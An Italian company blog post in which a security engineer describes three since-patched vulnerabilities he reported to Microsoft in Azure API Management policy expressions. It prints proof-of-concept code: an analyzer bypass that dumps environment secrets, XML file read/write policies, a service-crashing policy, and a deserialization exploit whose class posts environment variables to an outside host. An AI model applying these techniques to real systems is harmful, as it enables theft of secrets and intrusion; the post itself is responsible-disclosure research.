Dietro le quinte

Chi cerca trova: vulnerabilità di sicurezza su Microsoft Azure

Martin Wrona
12.3.2024
Traduzione: Leandra Amato

Leggi il codice come se fosse un libro e ti interessa la sicurezza software? Allora fai parte del gruppo target a cui voglio rivolgermi con questo articolo.

In qualità di Security Software Engineer, lavoro ogni giorno con molte righe di codice che non sono state scritte da me, alcune delle quali sono piuttosto vecchie. Questa realtà professionale richiede una comprensione approfondita di diverse basi di codice in un'ampia gamma di domini, al fine di riconoscere ed eliminare in modo proattivo potenziali vulnerabilità di sicurezza. Tuttavia, il nostro panorama di sistemi non richiede solo una profonda comprensione della nostra base di codice, ma anche delle soluzioni e dei servizi esterni che sono integrati nei nostri sistemi.

Quest'anno, nel tempo libero, ho concentrato il mio interesse sul servizio Azure API Management grazie agli articoli «orca security – Authenticated SSRF Vulnerability on Azure API Management Service» e «Tenable Cloud Security – Uncovering 3 Azure API Management Vulnerabilities – When Good APIs Go Bad». Mi sono detto: se in un servizio si trovano così tanti punti deboli, allora ce ne devono essere altri. Analizzando il servizio, alla fine mi sono imbattuto in tre punti deboli dei quali riferisco in questa relazione.

Che cos'è Azure API Management?

Tramite Azure API Management Gateway è possibile gestire le API. Gli sviluppatori possono usufruire di un portale di facile utilizzo con documentazione ed esempi di codice per un'integrazione senza problemi. Questi componenti sono ospitati in Azure e completamente gestiti per impostazione predefinita.

Per ulteriori informazioni sul servizio, puoi trovare la documentazione qui: «API Management – Manage APIs | Microsoft Azure».

Espressioni di criteri

Azure API Management Gateway offre la possibilità di manipolare le richieste in entrata e in uscita come caching, HTTP header manipulation, rate limiting, URL rewriting ecc.

La procedura è la seguente:

Poiché le manipolazioni statiche sono limitate e Microsoft vuole offrire maggiore flessibilità, il codice C# può essere scritto nelle cosiddette espressioni di criteri.

La documentazione delle espressioni di criteri contiene un elenco dettagliato dei tipi che possono essere usati per creare le espressioni. Lo scopo di questa restrizione di tipo è quello di evitare che l'intero framework .NET (sì, proprio così, il servizio gira ancora su tutto il framework) sia disponibile nelle politiche e causi danni all'host sottostante del servizio.

In C# e dotnet, non sono a conoscenza di alcun meccanismo che filtri i tipi come Language Mode in PowerShell. Ho quindi deciso di approfondire l'implementazione.

Durante le revisioni del codice, mi pongo sempre la domanda: «Implementerei questa funzionalità nello stesso modo? Altrimenti, perché è stato sviluppato in questo modo?». Le funzioni di sicurezza create autonomamente spesso non sono ben studiate e possono essere aggirate con approcci creativi.

Per ulteriori informazioni sulle espressioni di criterio e sui tipi consentiti, consulta la documentazione qui: «Azure API Management policy expressions»

Analisi tecnica

#1 Arbitrary Code Execution

Per aggirare il filtro del tipo, ho provato prima a dichiarare una variabile come «dynamic». In C# è possibile dichiarare in questo modo le variabili, il cui tipo viene determinato in fase di esecuzione. Ciò consente di definire variabili analoghe a quelle dei linguaggi non fortemente tipizzati.

Il risultato è stato un messaggio di errore significativo che mi ha mostrato come è stato implementato il filtraggio del tipo.

CWE-1295: Debug Messages Revealing Unnecessary Information
CWE-1295: Debug Messages Revealing Unnecessary Information

Un classico esempio di «CWE-1295»:

Debug messages are messages that help troubleshoot an issue by revealing the internal state of the system. 
… 
However, there is also the risk of revealing information that could help an attacker either decipher a vulnerability, and/or gain a better understanding of the system. Thus, this extra information could lower the "security by obscurity" factor. While "security by obscurity" alone is insufficient, it can help as a part of "Defense-in-depth".

Il messaggio di errore indica che il filtro di tipo è stato implementato da Microsoft utilizzando un analizzatore Roslyn.

L'analizzatore Roslyn è uno strumento che esegue l'analisi statica del codice durante lo sviluppo per identificare potenziali problemi, miglioramenti o modifiche stilistiche nel codice sorgente. Il compilatore Roslyn fornisce interfacce che consentono di implementare analizzatori propri, che vengono richiamati durante il processo di compilazione. Un semplice esempio dell'uso di un analizzatore Roslyn può essere il rilevamento di variabili o metodi inutilizzati in un progetto di codice C#. L'analizzatore emette avvisi durante lo sviluppo se vengono identificate sezioni di codice inutilizzate. Tuttavia, ci sono punti in cui l'analisi statica dà falsamente un segnale d'allarme. Ad esempio, se alcuni metodi sono garantiti per essere chiamati in fase di esecuzione, ma questo non è riconoscibile in fase di compilazione. A tale scopo, è possibile sopprimere singoli analizzatori (o tutti) con direttive del preprocessore per determinati passaggi di codice.

Le direttive del preprocessore sono istruzioni del codice che forniscono al compilatore determinate condizioni per la compilazione.

Un esempio è rappresentato dalle funzioni di compatibilità attraverso le versioni del framework:

#if NET40
        WebClient _client = new WebClient();
#else
        HttpClient _client = new HttpClient();
#endif

O la soppressione dei fastidiosi avvisi attivati dagli analizzatori:


pragma warning disable

Questa direttiva può essere usata per disattivare l'analizzatore di filtri di tipo autocostruito. Dopo di che tutti i tipi di framework sono disponibili.

Ulteriore documentazione sulle direttive del preprocessore «C# preprocessor directives - C# | Microsoft Learn».

Exploit

Nel mio esempio, che ho fornito all'MSRC (Microsoft Security Response Center), ho riportato tutte le variabili d'ambiente che contengono informazioni internas/secrets, come le stringhe di connessione. In determinate circostanze, ciò consentirebbe di spostarsi ulteriormente all'interno della rete del server e quindi di ottenere il controllo su altri sistemi, il cosiddetto «lateral movement».

Tuttavia, a causa delle linee guida dell'MSRC, non ho effettuato questa prova, lasciandolo nel mio Proof of Concept.

<set-body>@{ 
  #pragma warning disable

var str = ""; foreach (System.Collections.DictionaryEntry de in Environment.GetEnvironmentVariables()) {

  str += $"{de.Key} = {de.Value}{Environment.NewLine}";

}

return str; }</set-body>


Timeline

24 Jan 2023 Report
26 Jan 2023 Start MSRC Review / Repro
10 Feb 2023 MSRC Fix in produzione

#2 Arbitrary Read & Write

A seguito del post di Tenable collegato in precedenza sullo stesso servizio, ho voluto verificare come Microsoft ha risolto il bug che ho trovato. Ma come si può controllare questo aspetto con una scatola nera? Probabilmente Microsoft non mi darà il codice sorgente... o forse sì?

Durante le mie ulteriori ricerche, mi sono imbattuto nel self-hosted Gateway. Si tratta di una versione minimale e dockerizzata dell'API Management Gateway, che può essere utilizzata nella propria infrastruttura.

Ulteriore documentazione sul self-hosted Gateway: «Self-hosted gateway overview | Microsoft Learn».

Ho usato dive per esaminare la Docker Image e poi ho estratto il layer che mi interessava:

Con dotPeek (.NET Decompiler) ho cercato tra i file precedentemente estratti e mi sono imbattuto nell'analizzatore autocostruito di cui sopra. L'implementazione sembrava molto robusta a prima vista, ma mi sono accorto di un blocco «early return».

L'analizzatore consente di elencare gli assembly nel blocco rosso e quindi tutti i tipi inclusi. A mio parere, questo dovrebbe essere usato solo con molta parsimonia in un approccio di whitelisting, perché altrimenti nuove funzioni potrebbero insinuarsi durante gli aggiornamenti del framework.

Ho quindi cercato la definizione degli assembly e ho trovato quello che cercavo in «expressions.json».

Gli assembly consentiti sono quindi System.Xml e System.Xml.Linq. Questo contraddice la documentazione di Microsoft sui tipi consentiti, in quanto tutti i tipi sono esplicitamente elencati. Quindi qualcuno ci ha pensato in passato, ma probabilmente l'idea è andata persa durante l'implementazione o con un aggiornamento.

Exploit

System.Xml offre diverse funzioni per l'accesso in lettura e scrittura. A seconda delle autorizzazioni dell'utente che esegue il processo host, è possibile manipolare i file e quindi ottenere l'esecuzione di codice arbitrario.

Arbitrary Read
È stato così possibile leggere i file XML dell'host sottostante.

<set-body>@{
  var path = @"test.xml";

XmlDocument doc = new XmlDocument(); doc.Load(path); return doc.OuterXml; }</set-body>


Arbitrary Write
Poiché il servizio non utilizza un file system di sola lettura, sono stato in grado di scrivere i file nella cartella dell'applicazione. Nel mio Proof of Concept, ho provato a manipolare il file expressions.json in modo che tutti i tipi siano di nuovo disponibili. Purtroppo non ha funzionato, perché sarebbe stato necessario riavviare l'applicazione.

<set-body>@{
  try{
    var str = System.Net.WebUtility.UrlDecode(context.Request.Url.Query.GetValueOrDefault("content", "Hello World"));

var settings = new XmlWriterSettings();

settings.Indent = true;
settings.IndentChars = "\t";
settings.OmitXmlDeclaration = true;
var writer = XmlWriter.Create(@"hello-world.txt", settings);
writer.WriteRaw(str);
writer.Flush();
writer.Dispose();

return ""; }catch(Exception ex){

  return ex.Message;

} }</set-body>


Un arresto forzato dell'IIS Application Pool dovuto al seguente criterio purtroppo non ha portato a un riavvio, ma ha reso il servizio permanentemente inutilizzabile. Di conseguenza, ho dovuto eliminare l'istanza esistente e crearne una nuova.

<set-body>@{
  async void ex() { throw new Exception(); }
  ex();

return ""; }</set-body>


I criteri mostrati sopra sono stati distribuiti per Remote Code Execution MSRC dopo ulteriori prove e sono stati corretti come «Privilege Escalation».

Timeline

09 Jul 2023 Report
14 Jul 2023 Start MSRC Review / Repro
17 Aug 2023 MSRC Fix in produzione

#3 Arbitrary Code Execution (Insecure Deserialization)

Quando stavo cercando di ottenere l'esecuzione di codice con una vulnerabilità di lettura/scrittura arbitraria, mi è venuta l'idea di scrivere codice intenzionalmente vulnerabile. Esistono diversi metodi di attacco noti per XML e l'uso di XSLT (XSL Transformation) ha portato a risultati interessanti.

XSLT Processing

Il framework .NET offre un'estensione di funzione che consente di definire il codice C# all'interno di un modello. Questa sezione viene poi compilata ed eseguita durante l'elaborazione.

Ulteriore documentazione su msxml:script 2Script Blocks Using msxsl:script - .NET | Microsoft Learn».

<msxsl:script language="C#" implements-prefix="user">
  <![CDATA[
  public string UserFunction(){
    return "Hello World";
  }
  ]]>
</msxsl:script>

L'esecuzione del mio blocco di script non ha funzionato, ma ho ricevuto un messaggio di errore molto esplicito che mi ha spiegato meglio come funziona.


Error occurred while compiling the script: Cannot execute a program. The command being executed was "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\apimuser_proxy\AppData\Local\Temp\l3fkjmcj.cmdline".

Il messaggio di errore «Cannot execute a program» significa che l'utente che esegue il servizio non è autorizzato ad avviare altri processi. Questo è assolutamente sensato dal punto di vista della sicurezza e ha evitato ulteriori danni a questo punto.

All'inizio delle mie prove, ho già notato che l'analizzatore permette la ben nota funzione vulnerabile Newtonsoft.Json.JsonConvert.DeserializeObject.

Per far sì che questa funzione esegua il codice, è necessario deserializzare una classe specifica (un cosiddetto gadget). Questa classe esegue il codice come parte del processo di deserializzazione, nel costruttore o nei metodi getter/setter di una proprietà.

Ulteriore documentazione sulla funzione nota come vulnerabile DeserializeObject.

YSoSerial.Net

Esiste il progetto YSoSerial.Net, che fornisce una raccolta di classi di gadget di questo tipo e un generatore payload associato che può essere usato per attacchi di deserializzazione. La variante più semplice è un payload POC che avvia nslookup, ad esempio, e risolve un dominio in base a https://log4shell.tools/. Poiché l'utente di IIS AppPool non ha autorizzazioni per l'avvio di processi, questo non ha funzionato nel mio primo tentativo.

Dopo le mie ricerche, mi sono imbattuto in un'altra variante del payload, disponibile come parte del gadget DataSetOldBehaviourFromFile. Questo payload può essere usato per eseguire il costruttore di una classe autodefinita.

Codice della classe exploit:

class E
{
    public E()
    {
        var str = "";
        foreach (System.Collections.DictionaryEntry de in System.Environment.GetEnvironmentVariables())
        {
            str += de.Key+" = "+de.Value+ System.Environment.NewLine;
        }
        new System.Net.Http.HttpClient().PostAsync("https://[redacted].m.pipedream.net", new System.Net.Http.StringContent(str)).GetAwaiter().GetResult();
    }
}

Il gadget DataSetOldBehaviourFromFile non può essere chiamato direttamente tramite Json.Net. Invece, richiede un «ponte» con il BinaryFormatter, reso possibile da -bgc Cli-Flag. L'uso di -bgc funziona perché la classe RolePrincipal utilizza internamente BinaryFormatter. Vedi fonte.

Cli Command utilizzato:


\ysoserial.exe -f Json.Net -g RolePrincipal -o raw -c "ExploitClass.cs;System.Runtime.dll;System.IO.dll;System.dll;System.Core.dll;System.Net.Http.dll" -bgc DataSetOldBehaviourFromFile

#### Exploit

L'analizzatore consente di impostare JsonSerializerSettings, ma vieta l'accesso all'enum TypeNameHandling, necessario per l'esecuzione del codice. L'analizzatore può essere nuovamente aggirato eseguendo un semplice cast da int a enum.

Esempio policy:

<set-body>@{
    var payload = context.Request.Body.As<string>();

try{

    string data = @"{
        '$type': 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
        'System.Security.ClaimsPrincipal.Identities': '"+payload+@"'
    }";

object obj = JsonConvert.DeserializeObject<object>(data, new JsonSerializerSettings

    {
        TypeNameHandling = (Newtonsoft.Json.TypeNameHandling)4
    });
    return "OK";
}
catch(Exception ex){
    return JsonConvert.SerializeObject(ex);
}

}</set-body>


E il risultato dell'esecuzione con vari secrets dei sistemi interni di Microsoft.

Timeline

06 Aug 2023 Report
10 Aug 2023 Start MSRC Review / Repro
29 Aug 2023 MSRC Fix in produzione

Conclusione

L'esecuzione di codice su un singolo punto di accesso come Azure API Management può rappresentare una sfida per i team di sicurezza aziendali. Trattandosi di un servizio completamente gestito da Microsoft, non è possibile accedere agli eventi/log del sistema host sottostante ed è esclusa l'installazione di software di monitoraggio del sistema. Questo rende più difficile riconoscere la persistenza degli aggressori e i team di sicurezza devono affidarsi al rilevamento di Microsoft.

Il Microsoft Security Response Center ha elaborato le vulnerabilità segnalate con la priorità appropriata e le ha inoltrate al gruppo di prodotti pertinente. La comunicazione è stata professionale e grazie ai POC che ho fornito, le patch hanno potuto essere implementate rapidamente nell'ambiente produttivo.

Ciò è stato possibile e legalmente consentito solo perché Microsoft gestisce un programma di bug bounty. Ulteriori informazioni sono disponibili sul sito https://www.microsoft.com/en-us/msrc/bounty.

Sapevi che da Digitec Galaxus abbiamo un Vulnerability Disclosure Program? Ethical hacker possono cercare le vulnerabilità della sicurezza nella nostra azienda, nel rispetto delle regole. Ulteriori informazioni sono disponibili sul sito https://www.galaxus.ch/security.


A 254 persone piace questo articolo


User Avatar
User Avatar
Martin Wrona
Senior Security Software Engineer
Martin.Wrona@digitecgalaxus.ch

Sicurezza
Segui gli argomenti e ricevi gli aggiornamenti settimanali relativi ai tuoi interessi.

Tecnologia
Segui gli argomenti e ricevi gli aggiornamenti settimanali relativi ai tuoi interessi.

Potrebbero interessarti anche questi articoli

  • Dietro le quinte

    Cercato e trovato: Vulnerabilità nel router Zyxel

    di Martin Wrona

  • Dietro le quinte

    Ecco il nostro stack tecnologico

    di Nicolas Lefebvre

  • Dietro le quinte

    Da digitec IT Security: La lotta al credential stuffing // Aggiornamento 22.10.2018 14:00

    di Dominik Bärlocher

64 commenti

Avatar
later